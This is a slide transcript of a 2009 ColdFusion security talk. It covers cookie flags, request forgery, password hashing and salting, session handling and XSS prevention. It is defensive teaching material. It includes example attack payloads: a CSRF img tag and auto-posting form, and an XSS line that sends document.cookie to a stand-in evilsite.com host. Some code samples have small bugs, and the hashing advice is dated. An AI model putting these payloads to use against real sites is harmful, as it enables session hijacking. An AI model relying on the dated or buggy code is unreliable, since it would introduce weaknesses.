Online ColdFusion Meetup January 22 , 2009 Jason Dean

Download Report

Transcript Online ColdFusion Meetup January 22 , 2009 Jason Dean

Online ColdFusion Meetup
ColdFusion Application Security: Beyond SQL Injection
January 22nd, 2009
Jason Dean
http://www.12robots.com
Who am I?




Web Application Developer with the Minnesota
Department of Health (MDH)
Chairperson and User Group Manager of the MDH
ColdFusion User Group
ColdFusion Development Blogger (who isn't?)
http://www.12robots.com
Veteran of the U.S. Coast Guard
Today We'll Look At

Cookie Security

Request Forgeries

Password Security

Session Management

Cross-Site Scripting XSS
Cookie Security
Pop Quiz

How many parameters can a cookie accept?

What are they?

Cookie Parameters


Name (String)

Value (String)

Expires (DateTime)

Path (String)

Domain (String)

Secure (Boolean)
What about the HTTPOnly Parameter?
Cookie Security






Name and Value – Pretty self-explanatory. No Security Concerns (except content)
Expires – This value definitely carries a security concern with it, especially for session
management cookies.
Path – The path to which a cookie applies within a domain. If set, a domain must also
be set. Default is for all pages on the domain that set the cookie to be able to access
it.
Domain – The domain to which the cookie applies. Must start with a period. Example:
domain=“.12robots.com”. Only the specified domain can access the cookie. By
default, the domain that set the cookie will be used.
Secure – If set to “True” the cookie will only be submitted to the server over an SSL
connection. No SLL, no cookie
HTTPOnly – This feature is new to browsers (IE6+ and FF 2.0.0.5+). It is a flag that
tells the browser to only submit the cookie via HTTP requests, which means it cannot
be access via JavaScript
Cookie Security
Security Concerns with Path and Domain Parameters

Path and Domain are often overlooked as a security concern. That can be bad

So what's wrong with leaving the defaults for Path and Domain?

Let's say you had an awesome website for ColdFusion bloggers





When a new blogger signs up, they get their own subdomain:
12robots.awesomecfbloggers.com
When a blogger logs in they could get a cookie for domain=”.awesomecfbloggers.com”
When a blogger from that site goes to another blog on the site, their site cookies are sent to it,
because they are all within the same domain .awesomecfbloggers.com
A malicious user could create a new account called hacker.awesomecfbloggers.com Then invite
the other bloggers from awesomecfbloggers.com
When the other bloggers visit, if they have current cookies for .awesomecfbloggers.com, they
will automatically be sent to the hacker site

The hacker can log those cookies

Then the hacker can use those sessionid values for session hijacking

The same thing applies to the Path value in the cookie: awesomebloggers.com/12robots
HTTPOnly Flag

Used to specify when a cookie can be accessed

If set, the cookie can only be used in HTTP transactions

This prevent a JavaScript exploits from being used to access the cookie

Stops many XSS attacks that could result in session hijacking



Setting the HTTPOnly Flag
ColdFusion's <cfcookie> tag does not support the HTTPOnly flag
To set the HTTPOnly flag you need to use <cfheader>
<cfheader name="Set-Cookie" value="firstname=Jason;HttpOnly">
Session Token Cookies
By default, ColdFusion does not make Session Token Cookies very
secure



Domain attribute is handled well, if “this.setClientCookies = true” in
Application.cfc/cfm

Path is ALWAYS set to “/”

Cannot be set as SECURE

Cannot be set HTTPOnly

Not set as non-persistant cookies (unless J2EE)
So these little flaws need to be addressed, and can be addressed
manually.
Manually Changing Session Token Cookies

Setting HTTPOnly
<cfheader name="Set-Cookie" value="CFID=#session.CFID#;HTTPOnly" />
<cfheader name="Set-Cookie" value="CFTOKEN=#session.CFToken#;HTTPOnly" />

Set SECURE Flag
<cfheader name="Set-Cookie" value="CFID=#session.CFIF#;secure=true;" />
<cfheader name="Set-Cookie" value="CFTOKEN=#session.CFTOKEN#;secure=true;" />

Set Domain and Path
<cfheader
name="Set-cookie"
value="CFID=#session.cfid#;path=/test/;domain=.12robots.awesomecfbloggers.com;" />
<cfheader
name="Set-cookie"
value="CFToken=#session.cftoken#;path=/test/;domain=.12robots.awesomecfbloggers.com;" />
Manually Changing Session Token Cookies
Setting Everything

<cfheader
name="Set-cookie"
value="CFID=#session.cfid#;secure=true;path=/test/;
domain=.12robots.awesomecoldfusionbloggers.com;HTTPOnly" />
<cfheader
name="Set-cookie"
value="CFToken=#session.cftoken#;secure=true;path=/test/;
domain=.12robots.awesomecoldfusionbloggers.com;HTTPOnly" />
These blocks should be in onSessionStart() or in session initialization
code


All of these need setClientCookies turned off in Application.cfc/cfm

JsessionIDs seem considerably harder to manipulate.
<cfset this.name = "cookieTest" />
<cfset this.sessionManagement = true />
<cfset this.setClientCookies = false />



Could make SECURE
Could not change DOMAIN or Path without duplicating cookie
Seems that J2EE creates cookie whether setClientCookies is True or False
What is a Request Forgery?



A request forgery, also sometimes called a
Cross-Site (or On-Site) Request
Forgery(XSRF), is an attack that is
perpetrated against the user of a site who
has authenticated access to that site
The user is unwittingly tricked into
performing actions on a site through hidden
code displayed to them and, therefore,
executed in their browser
The hacker is writing a check and your
users are cashing it for him, without
knowing it
That was confusing

How about an Example?

Our Hypothetical website http://www.easilypwnd.com

Has an administrator only section for maintaining users



Our site has a deletePage.cfm action page that accepts a single
parameter, pageID
DeletePage.cfm has been secured to make sure ONLY our
administrators can access it.
All is good, right?
Or is it?


One morning, Bob (one of our administrators) gets an email from Kay in
accounting. It has a link to a bad joke on a Joke-of-the-Day site
Here is the joke:
Q: What is the difference between a used-car salesman and a
computer salesman?

A: The used-car salesman knows when he's lying to you!



Bob finishes the joke, chuckles politely and deletes the email
About 5 minutes later, the phone starts ringing. The company website is
down
What happened?

The email Bob received wasn't from Kay in accounting

<Dramatic Pause>

It was from a Hacker who spoofed Kay's email address

The link the hacker sent, did go to a Joke-of-the-Day page, but the hacker left
a comment for the joke and in his comment he placed the line:
<img src="http://www.easilypwnd.com/deletePage.cfm?pageid=1">

So what do you think happened when Bob viewed that page with that
comment on it?
What happened?

When Bob viewed that page the <img /> tag went looking for the src resource
and made the request:
<img src="http://www.easilypwnd.com/deletePage.cfm?pageid=1">


And if Bob was actually logged into the site, then it was a legitimate request
coming from a legitimate user and so it was executed
Oops
So what can be done with a Request Forgery?

Delete or Edit pages

Delete or Edit Users

Perform Administrative Functions

Send Emails

Transfer funds

Make purchases

Anything that an authenticated used would normally be able to do
So what can we do about it?


One thing we can do is to use POST requests instead of GET requests.
Using POST requests will stop many, but not all Request Forgeries, It would
stop the <img /> attack, but not this one:
<form name="rfForm" action="deletePage.cfm" method="post">
<input type="hidden" name="pageid" value="1" />
</form>
<script type="text/javascript">
rfForm.post();
</script>
So what ELSE can we do about it?

So let's say we have a form that looks like this:
<form action="deletePage.cfm" method="post">
<input type="hidden" name="pageid" value="1" />
<input type="submit" name="btnSubmit" value="Delete Page 1" />
</form>



Assume that it has other appropriate security to ensure only administrators
have access
The page or function this POSTs to is likely vulnerable to the forgery attack we
just looked at
It probably:
 Receives the request
 Checks to make sure the user is logged in
 Confirms that the ID is valid
 Performs the action
How do we fix it?
<cfset session.formkeys.delPageForm = CreateUUID() />
<form action="deletePage.cfm" method="post">
<input type="hidden" name="pageid" value="#queryPages.pageid#" />
<input type="submit" name="btnSubmit" value="Delete Page #queryPages.pageid#" />
<input type="hidden" name="key" value="#session.formkeys.delPageForm#" />
</form>

Create a UUID

Add that UUID to the form and the user session

We can then check the result in the action page/method to confirm that it came
from the right place
How do we fix it?
<cfif StructKeyExists(form, "key")
AND StructKeyExists(session.formkeys, "delPageForm")
AND form.key = session.formkey.delPageForm>
<cfset structDelete(session.formkeys, "delPageForm") />
<cfelse>
<cflocation url="/" />
</cfif>
<!--- Finish form processing here --->

Another option is to ask for a second verification.

Prompt “Are you sure?” using server-side logic

Maybe even require them to enter their password again
Password Security

How do we get a secure password?

Does every site need a “super” secure password?

Password Best Practices

Password Salting and Hashing

Password Strength Function

“Forgot My Password” Best Practices
Achieving a Super-Secure Password

Password should allow and required both alphabetical and numeric characters

Passwords should allow and require both uppercase and lowercase letters

Passwords should allow and require special characters



Passwords should probably be at least 7 or 8 characters long. If you need to
have them with fewer characters, you should have a REALLY good reason for
it.
Password should be changed every [Insert period of time here]. Depending on
the security level of your system this might be every month, quarter, or six
months.
Passwords should never contain the username or be a date

Have the password security scheme fit
the website

Does every site need a “super” secure password?

Probably not

It is a judgment call, get the input of the people to whom data belongs


There is no reason not to allow a strong password, but perhaps not every site
needs to enforce it
At a minimum, set a decent minimum length and require some alphas (upper
and lower) and some numerics
Best Practices

Don't set a minimum length above 8 character

Where possible, use SSL

Load the login form using SSL (although it only needs to POST to SSL)

Don't send Login credentials on the URL string (except for Web Services, and
then, only over SSL)

Never store passwords in clear text

Create an audit log of login attempts

If you lock a user out after a certain number of login attempts, do not use a
cookie or tie it to the user session, do it in the database
Password Hashing and Salting

What is Hashing?

Why do we want to Hash our passwords?

What is Salting and why do we want to do it?

Example Code
What is Hashing?

From Wikipedia: "... a Cryptographic Hash Function is a transformation that
takes an input and returns a fixed-size string, which is called the hash value.

A hash is a One-Way Transformation

A strong enough hash is virtually impossible to reverse

A strong enough hash will have very few collisions
Hashing Example
<cfset val1 = "Jason" />
<cfset val2 = "ColdFusion" />
<cfset val3 = "SR-71 Blackbird" />
<cfset hash1 = Hash(val1,"MD5") />
<cfset hash2 = Hash(val2,"MD5") />
<cfset hash3 = Hash(val3,"MD5") />
<cfoutput>
#hash1#<br />
#hash2#<br />
#hash3#<br />
</cfoutput>
Hashing Example
<cfoutput>
#hash1#<br />
#hash2#<br />
#hash3#<br />
</cfoutput>
Will Produce:
472D46CB829018F9DBD65FB8479A49BB
CBD672C9AAF85A22968C7BCF9FF90EED
10F1C46CAF873486E530570E7A298BBB

Notice they are all the same number of characters. Hashes are FixedLength strings
Stronger Hashing Example

An MD5 Hash is not strong enough

MD5 is fine for examples, but in the real world, MD5 is weak

So what are the other options?

In our example we did this:

<cfset hash1 = Hash(val1,"MD5") />
Well we can replace MD5 with a number of other hashing algorithms that
produce different fixed-lengths

MD5: (Default) Generates a 32-character, hexadecimal string

SHA: Generates a 40-character string

SHA-256: Generates a 64-character string

SHA-384: Generates a 96-character string

SHA-512: Generates an 128-character string
Stronger Hashing Example


So let's compare the algorithms
In our previous example we had:
<cfset hash1 = Hash(val1,"MD5") />
<cfset hash2 = Hash(val2,"MD5") />
<cfset hash3 = Hash(val3,"MD5") />

Now let's add:
<cfset hash1 = Hash(val1,"SHA-256") />
<cfset hash2 = Hash(val2,"SHA-256") />
<cfset hash3 = Hash(val3,"SHA-256") />
AND
<cfset hash1 = Hash(val1,"SHA-512") />
<cfset hash2 = Hash(val2,"SHA-512") />
<cfset hash3 = Hash(val3,"SHA-512") />
Stronger Hashing Example
MD5 Result
472D46CB829018F9DBD65FB8479A49BB
CBD672C9AAF85A22968C7BCF9FF90EED
10F1C46CAF873486E530570E7A298BBB
Stronger Hashing Example
SHA-256 Result
7FA8A6E9FDE2F4E1DFE6FB029AF47C9633D4B7A616A42C3B2889C5226A20238D
0DBDC9C5C4E9B4B11FECFAC0247A0E0F0E810A7BD0AD3EEC36C2A30FF96CE3C4
E153B4C97FCFAC7016A276461E06504CB9F03B9A3ADF36072E1EC7F21308736B
Stronger Hashing Example
SHA-512 Result
27166A235CD42FB7E5A45CB89F542760373DCDC779E1697DB283013718904201D4D0
5537E63FD3815B596511C8704C50791C7BA3C504CAB516E622BDC6EC09C9
0452F87278847018D8E6CC77F4201315AED6928A7A4075B2400D271CE8E89B1F848B
FDC3B9F3A7EB2D74862EB984882C8F8D1F955E9E96F801B1419F88811A0B
4FF17CC3794CAB06B880FDA5507692ADBE5BA74EDFE570611F944F43DFFE4F0A0B
ED2F9CBC37FE1659336038ECABE47423FFA8FC8403459D7406E13A80173259
Hashing

A specific string will ALWAYS result in the same hash value

Collisions occur when two values have the same Hash value

Strong hashing algorithms are going to have fewer collisions

The longer the hash value, the less likely you will have collisions.
Implementing Hashed Passwords




So if hashes aren't reversible, how can we tell if the user entered the
correct password?
When the user enters their password, while logging in, we hash it and
compare the result to the hash that we stored in the database.
Since a hash cannot be reversed, if the DB becomes compromised, the
information cannot be used to obtain passwords, nor can it be used to
login using the hash instead of a password
We'll look at an example shortly
Password Salting

What is Salting?

Let's first talk about why we need salting

Because people make stupid password (i.e. “Password1!”)

We also need passwords because hackers are smart


If our password database becomes compromised, and the passwords are
hashed, then the hacker will start looking for matching values
If the hacker finds two hashed values that are exactly the same then that value
is either a common dictionary word, a name, a date, or a stupid password

The brute force attack on that user can then commence

Salting ensures that no two hashes in our database ever have the same value
Password Salting




So what is Salting then?
Salting is the process of adding a random string of characters to the end of a
user's password before hashing it.
Each password would get its own salt hence eliminating the problem of two
like passwords having the same hash value.
Let's look at examples
Password Salting Example
<cfset val1 = "Password1" />
<cfset val2 = "Password1" />
<cfset hash1 = Hash(val1, "MD5") />
<cfset hash2 = Hash(val2, "MD5") />
<cfset hash1Salted = Hash(val1 & CreateUUID(), "MD5") />
<cfset hash2Salted = Hash(val2 & CreateUUID(), "MD5") />
<cfoutput>
Value 1 Hashed:#hash1#<br />
Value 2 Hashed:#hash2#<br /><br />
Value 1 Salted and Hashed:#hash1Salted#<br />
Value 2 Salted and Hashed:#hash2Salted#<br />
</cfoutput>
Password Salting Example
Output
<cfoutput>
Value 1 Hashed:#hash1#<br />
Value 2 Hashed:#hash2#<br /><br />
Value 1 Salted and Hashed:#hash1Salted#<br />
Value 2 Salted and Hashed:#hash2Salted#<br />
</cfoutput>
Will result in this output:
Value 1 Hashed:2AC9CB7DC02B3C0083EB70898E549B63
Value 2 Hashed:2AC9CB7DC02B3C0083EB70898E549B63
Value 1 Salted and hashed:2DEB5ADAF0854BBBC24DC4797BA73027
Value 2 Salted and Hashed:3498DD83CA3F1945D0EE7BE16984999E
Password Salting Example
Value 1 Hashed:2AC9CB7DC02B3C0083EB70898E549B63
Value 2 Hashed:2AC9CB7DC02B3C0083EB70898E549B63
Value 1 Salted and Hashed:2DEB5ADAF0854BBBC24DC4797BA73027
Value 2 Salted and Hashed:3498DD83CA3F1945D0EE7BE16984999E

Notice the hashes without salting are identical

But, once you add a salt, the two hash values are very different

Of course, we need to store the salt that we use for each value so that
when we hash the user input, we can append the salt
Look at Code!
Let's look at some code examples
http://hashandsalt:81/index.cfm
http://hashandsalt:81/login.cfm
“Forgot My Password” Best Practices







Never have your “Forgot My Password” function e-mail the user's password (If
you are hashing password you won't be able to anyway)
Either reset the users password and email them the new password or send the
user a temporary URL that can be used for them to reset the password
Force the user to change their password after they first log in after a reset
Keep a log of the last X hashes of the users password so they cannot reset
their password to something that have used previously (Within reason)
Make sure your Change Password functionality uses the same strength and
hashing functions as your initial password set up
Do not login a user from the “Forgot My Password” section. Always make them
go through their e-mail.
Tell story about bad “Forgot My Password” functionality
Session Management

What is a Session?

Session Tokens

Session Persistence

Session Hijacking

Session Hijack through XSS

Session Token Best Practices
What is a session?





Since the World Wide Web is stateless, we need sessions to persist data
from one page request to the next
If your user requests pageA.cfm and then immediately requests pageB.cfm
the web server does not relate those pages to each other
Session Management is a way to create statefulness in a stateless
environment
Each client is assigned a session token, which is then passed from request
to request
Information that is stored on the server can be provided to the client that
provides the correct token
Session Tokens



A session token is a unique string of characters (usually alpha numeric)
that is used to identify a client (Web browser) to the server
The application server can use the token to match a client with the
appropriate data stored on the server
ColdFusion has two different types of Session Tokens available

ColdFusion session tokens (Two varieties)

J2EE Session tokens
Session Persistence
Sessions can be persisted in 3 ways

Passing in a URL (Tough to maintain)
Developer has to remember to always pass the URL string

End user can easily lose their session by messing with the URL

Session Token will be logged by the web server
http://www.12robots.com/mypage.cfm?CFID=2&CFTOKEN=10666880


Passing in POST requests (Very difficult to maintain)
EVERY request from page to page needs to be a <form>

Even Navigation
<input type="hidden" name="cfid" value="#session.cfid#">
<input type="hidden" name="cftoken" value="#session.cftoken#">


Using a Token Cookie (Easy to do, easy to maintain, easier to secure)


End user would have a hard time screwing it up
Does require that your end users have cookies enabled
Session Hijacking





What is it?
After initial authentication, session management takes over and persists that
authentication from request to request
If the session token can be compromised then whoever gains access to a
valid session token can impersonate the user to whom that token belongs
That's called Session Hijacking and all a hacker needs to accomplish a
session hijacking is the session token
How can the session token become compromised?
 Physical Access to a machine
 XSS
 Social Engineering
 Brute-Force Guessing
XSS Session Token


Cross-Site Scripting can be used to grab a session token
The following line, if injected, will send all user cookie information to another
site:
document.location=”http://www.evilsite.com?cookie=” + document.cookie;

Once the other site receives your user's cookie, they can use the information
to hijack the user’s session
Session Token Best Practices

Do NOT pass your session tokens in the URL string

Use cookies as a best practice

Use J2EE Session IDs or Set ColdFusion to use UUIDs for CFToken

Set cookies to HTTPOnly to prevent some XSS attacks

Use SSL connection to prevent packet sniffing exploits

Set cookies to SECURE so they are only sent via SSL



Use DOMAIN and PATH attributes in your cookies to minimize where they
are sent
Set Session-Only cookies so that they expire when the browser is closed
(CF Sessions Only, J2EE already does this)
Keep session time-out values low
Cross-Site Scripting (XSS)

Is also a type of “Injection” attack

Is used by one user to “attack” another



Can be used for session hijacking, page redirection, phishing,
bypassing access controls, and other types of nefarious
activities
Can be implemented anywhere a user is allowed to enter data
that will later be view by other users, like blog comments or
forum posts.
Is implemented by a user who enters scripts (usually Javascript)
into a text entry field on a web application or directly into a URL
that is emailed or IM, etc. Later when that entry is viewed by
another user, the script is executed.
Cross-Site Scripting (XSS)
XSS Vulnerabilities come in 3 flavors:

DOM-Based (Type 0)


Non-Persistent (Type 1)


A DOM-Based XSS vulnerability is exploited through pages that, somehow, exist
on the local machine of the victim, placed there through social engineering, file
upload exploit, or other means. We will not be discussing this type of exploit
today.
Non-persistent vulnerabilities are the most common to be exploited by XSS
attacks. The vulnerability exists when information sent to a page is immediately
used on the receiving page without being properly prepared for display. This can
be destructive through the use of manipulation to convince other users to click on
links that will send code to a vulnerable page that will then perform actions on the
victims behalf.
Persistent (Type 2)

Persistent XSS is, as the name suggests, an attack that is implemented and then
lasts until it is removed. It is generally deployed through the use of a web form,
SQL Injection, or some other means of injecting a script into the content of a web
applications for others to view, and subsequently execute.
XSS Example

You have a comments text box, like so:

And some joker decides to inject some Javascript:

Then when someone views the page that displays that comment, they get:
XSS Example


Now, this (seemingly harmless) script would be nothing more
than vandalism
In the eyes of your end users this represents a huge security
hole

Word would spread quickly that your site had been hacked

How do you think the media would report such a breach?
XSS Uses


Cross-Site Scripting can be used for much worse things then
displaying an Alert window.
The following line will send all user cookie information to another
site:
document.location=”http://www.evilsite.com?cookie=” + document.cookie;

Once the other site receives your user's cookie, they can use the
information to hijack the user’s session
XSS iFrame Example


Another example is the Frame Attack where the hacker “injects” an iFrame into the
comment field:
When another user views the output of that comment later, they will see a form
prompting for their user/pass, if they enter and hit “submit” the form will be posted to
the evil site.
XSS Prevention
So how do we protect against this type of attack?

Turn on script protection

Use character encoding functions on all user generated output
<cfoutput>#HTMLEncodedFormat(String)#</cfoutput>

User Input validation
ColdFusion Script Protect

Can be turned on in the Administrator with a simple checkbox

Can be added or disabled per-application in the Application.cfc


Will look for specific tags, like: <script>, <meta>, <object>, <embed>, and <applet>
and replace them with <InvalidTag> if they are found in the FORM, URL, CGI, or
COOKIE scopes. Does not Protect against iFrame injection or JavaScript used in <a>
tags.
Will not protect against every type of XSS exploit
To enable Global Script Protection:

Go to you ColdFusion Administrator

Go into the Server Settings section on the left

Under "settings" you will find the check box "Enable Global Script Protection". Check it

Click "Submit Changes"
To enable Per-Application Script Protection:

Go to the Application.cfc file for the application

In the pseudo-constructor area add the line <cfset this.scriptprotect="all">

You can also add a list of scopes to check if you don’t want to check them all
Character Encoding Function

Should be used on content that was created by users.

Will turn your hackers malicious Javascript input from:
<script type=”text/javascript”>alert('Hacked!');</script>

Into Harmless HTML Character entities:
&lt;script type=”text/javascript”&gt;alert('Hacked!');&lt;/script&gt;

In some cases, it may be too effective.
 If you want users to be able to use some HTML elements in their input,
they will be unable
This:
This is <strong>Bold Text</strong>
Would become:
This is &lt;strong&gt;Bold Text&lt;/strong&gt;
And when displayed:
This is <strong>Bold Text</strong>
Instead of like:
This is Bold Text
Input Validation






Input validation can be used to avert XSS attacks (And SQL injection for that matter)
Using functions like IsNumeric() can help keep JavaScript and SQL out of fields that
should be numeric
Length functions (i.e. Len()) can be used to determine if a field was submitted with a
value that was longer than intended. Remember that <input maxlength=”” /> is
enforced at the client, which means it cannot be trusted
Regular Expressions can be used to look for dangerous patterns, like <script> or
<object> tags (If not using ScriptProtect)
Be careful not to restrict too much. Example, you have a Web Service that accepts
XML input and one of the input elements contains a <objectDefinition> element.
Remember that ALL validation must be done at the server. You can have client side
validation to help improve the user experience, but it cannot be trusted for anything
more than that.
Questions?

Please ask your questions now

Or feel free to contact me
Jason Dean
[email protected]
http://www.12robots.com
AIM: IZB Jason
Google Chat: deanj200
http://twitter.com/JasonPDean